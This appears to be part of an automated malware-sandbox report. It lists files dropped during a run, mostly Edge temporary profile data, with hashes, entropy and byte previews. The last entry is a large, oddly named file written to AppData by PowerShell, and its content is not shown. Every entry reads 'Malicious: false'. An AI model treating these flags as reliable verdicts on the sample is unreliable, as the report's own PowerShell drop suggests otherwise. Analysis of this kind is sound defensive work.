File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3528485475628876
Encrypted:	false
SSDEEP:	12:TLiN6CZhDu6MvDOF5yEHFxOUwa5qguYZ75fOSiPe2d:TLiwCZwE8I6Uwcco5fBtC
MD5:	F2B4FB2D384AA4E4D6F4AEB0BBA217DC
SHA1:	2CD70CFB3CE72D9B079170C360C1F563B6BF150E
SHA-256:	1ECC07CD1D383472DAD33D2A5766625009EA5EACBAEDE2417ADA1842654CBBC8
SHA-512:	48D03991660FA1598B3E002F5BC5F0F05E9696BCB2289240FA8CCBB2C030CDD23245D4ECC0C64DA1E7C54B092C3E60AE0427358F63087018BF0E6CEDC471DD34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Visited Links

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVEt:IiV
MD5:	4DC7FD29AC2DCA6B36EDEB88E0BE660E
SHA1:	0AECF24EDA9BFBF4B8B3A7D70952C88FCEFC501C
SHA-256:	3285D8971E803CA56E60B9E7B04A4BA80D7063451B28E8ED194E7A4B5398FDE7
SHA-512:	09233CC8CD26AEB459661ACB79C7053609661390A51C0930C1C58606C26E15211F1ACC7833FA9B9114BBE64BA5DFA668D3DDCA2BF5FCCDA2F6643CAEC18B7CCB
Malicious:	false
Preview:	VLnk.....?......>.-...u.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Web Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 87, cookie 0x36, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	0.9401384989520177
Encrypted:	false
SSDEEP:	192:Qrb2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+c:Q/2qOB1nxCkvSAELyKOMq+c
MD5:	6817EEA7CE56E1AB1ECF93C090727E0F
SHA1:	49A10B3D157FB49768284F68335CC7B378FB13B4
SHA-256:	FF7B98237D2FA7537470A573B9FD12D9C656EDACC0949AA12B75970528F650CD
SHA-512:	6E14A0B0A47B493493F6C0C8C2A15028C0C1D53E247D1FB2D227DC772ACFB6ADF2B74CBC8FB223156A1D39A1295FFF7EC054E9BE51DBF7BCE61CC597510C4EAE
Malicious:	false
Preview:	SQLite format 3......@ .......W...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Web Data-journal

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746028
Encrypted:	false
SSDEEP:	3:rHl1lOtlm:rHj
MD5:	99518598866CF43C91C7359B66BD5328
SHA1:	DF794E54F04165352B13314A48786FBC986BA43E
SHA-256:	8F50EB182ABA80109CD38A145427FC4AA2AE381D0AAAC68B27F2A0DCF3D252CB
SHA-512:	465CA69AA0F1FA5F29BE13B88F28088833885396D210E60FCB830F2BE78E690AFBB755B4284B223C241EDE6B99F924A461A505338993B1A08BEDABE18BCA4E3A
Malicious:	false
Preview:	..............D....W....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\arbitration_service_config.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3852), with CRLF line terminators
Category:	dropped
Size (bytes):	11417
Entropy (8bit):	5.237554345326078
Encrypted:	false
SSDEEP:	192:dH4vrmORnBtW4PoiUDNaxvR5FCHFcoaSbqGEDu:dH4vrmonPW4jR3GaSbqGEDu
MD5:	DF790948C5A7B5DD19D033FE6C793868
SHA1:	0C4A681E07505CA84997CE78FEEE1F0D88CB8E2A
SHA-256:	CB4049061A6A78013D20CC4AB396BEF4F6C35306887BE76765EED4E51EEE702D
SHA-512:	251C3B5DE5452E2F40C648BDB2E3D1CE2315DD4DFFAF4B4E5E08528DBAAB80535F1A82E183A65AB7DCA0C2926AE5D6B61F06DB390D0E3B8D8E77E826B21042CB
Malicious:	false
Preview:	{.. "ArbitrationSignal": "(time_elapsed_since_last_notification)-3600^(notification_quick_dismiss_rate_lower_ci+notification_disable_rate+notification_snooze_rate)",.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f41

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\b24d780c-d22e-4d1e-b257-e8aa7368205e.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	269
Entropy (8bit):	5.416690936367549
Encrypted:	false
SSDEEP:	6:YSAn4M1e0i23fQXfrl2KLlauVq2Pe0i23fQXfrK+IFUv:YS84kZW1LQEvvZW23FUv
MD5:	3CE69FB27CDD3B7F757050B49444E9CB
SHA1:	FAF21F72B9C1F9EFD2D2BF7B5D0CEC141B2433BC
SHA-256:	63B3396FEAAA1B5A6CEDA2F82C965B708856F50B7DB018D570E55223815A6A3D
SHA-512:	764FD24B1ED6CB932DF12F985E1C81143151D4BE7AD61F808910CAE4C3AF51DFDD45E63E65BE370C9C9B6B92F6F6965A124EB2C9D3942B4F2128F680ADAFA8B2
Malicious:	false
Preview:	2024/12/05-04:39:43.768 1e44 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db since it was missing..2024/12/05-04:39:43.797 1e44 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	34
Entropy (8bit):	3.2608241254905095
Encrypted:	false
SSDEEP:	3:G0XttkJcsn:G0Xtqcs
MD5:	144F9E14F35606E2067B5DF655E3102E
SHA1:	B16B22A620A679A811068E67C65C67F97500BEC9
SHA-256:	BCA6A12EEF67DFB649266150CA95D24212F5F566182B85267694969575C5AB4C
SHA-512:	9C148840D66B9D7C2C55668A25E2D2AAE328A4F11016D440C7F5D930D53ABA0DC3DFF74552EC18A89EEBD370B09BD0A5F21A70F8A0D8B1847D1FE40BDFEFA4EC
Malicious:	false
Preview:	.h.6.................__global... .

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.353650430046644
Encrypted:	false
SSDEEP:	6:Yr84M1e0i23fQXfrzs52KLlaSA+q2Pe0i23fQXfrzAdIFUv:Yr84kZWs9LQS5vvZW9FUv
MD5:	28A464D869FEB11A7079FCBF28A017CD
SHA1:	EE14566FCED9FFB24A31FC465DD5A0CBB1099B1C
SHA-256:	448801A7FB15EC1966155AA84FE304EBA887866C126E3AE09DA2B9D4A4C6E5BB
SHA-512:	588ADCF5519E305BEC044175FD4150C91960413A5376BEDBC81E2EB453643482729EF7AB713CFF87A08BD061007295F292AF491B51BE090414EC315AAA7B7BCE
Malicious:	false
Preview:	2024/12/05-04:39:43.743 1e44 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata since it was missing..2024/12/05-04:39:43.768 1e44 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Last Version

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\ShaderCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\ShaderCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012096502606932763
Encrypted:	false
SSDEEP:	3:MsEllllkXl:/M/6
MD5:	259E7ED5FB3C6C90533B963DA5B2FC1B
SHA1:	DF90EABDA434CA50828ABB039B4F80B7F051EC77
SHA-256:	35BB2F189C643DCF52ECF037603D104035ECDC490BF059B7736E58EF7D821A09
SHA-512:	9D401053AC21A73863B461B0361DF1A17850F42FD5FC7A77763A124AA33F2E9493FAD018C78CDFF63CA10F6710E53255CE891AD6EC56EC77D770C4630F274933
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\ShaderCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\ShaderCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.448177365217996E-4
Encrypted:	false
SSDEEP:	3:LsNlwT9L/ll:Ls3wxL/ll
MD5:	7B2546A6DF5507C494AEF8D9414ACCA9
SHA1:	CC985D238C6A706080DD420A5E04DAC9C3A1AF1B
SHA-256:	1D388BF3D6B944FCAFDEBCDBB36001A7A3E3328F15293D7DBE26E034635E5E3F
SHA-512:	CC22CCDE780311478B9AFE9977A7C6A51391573F755E1E0DA96D133EE220F8557E679CC5897DAA837FCC51DDA18C486EDA7408AC8785D176853806FF9790AABE
Malicious:	false
Preview:	..........................................".../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\customSynchronousLookupUris

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\customSynchronousLookupUris_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\edgeSettings

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\edgeSettings_2.0-0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\synchronousLookupUris

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Variations

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Roaming\Nonfattening.Ret

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	440292
Entropy (8bit):	5.9509405120024175
Encrypted:	false
SSDEEP:	12288:kxqHKFBb4NeSrNqeMrkZIFVn6xFVJeWO6:kLFfSrNlvmv63VJeWO6
MD5:	1D09A8DF714912C34158386A43692413
SHA1:	132D9EB5E437866FF1F21461C3B592469936392B
SHA-256:	19B60785CB8536773C8709E30F54A824CFEA094E4022C7E255203E498515865D
SHA-512:	380E501F84A3E5904CBA426EAB0EE715105DF2F918D20030BAF74AABEB799E8586FEB343A1F5CCF331843339D413BF314671D275F7D198EE147492D2E64C5F28
Malicious:	false
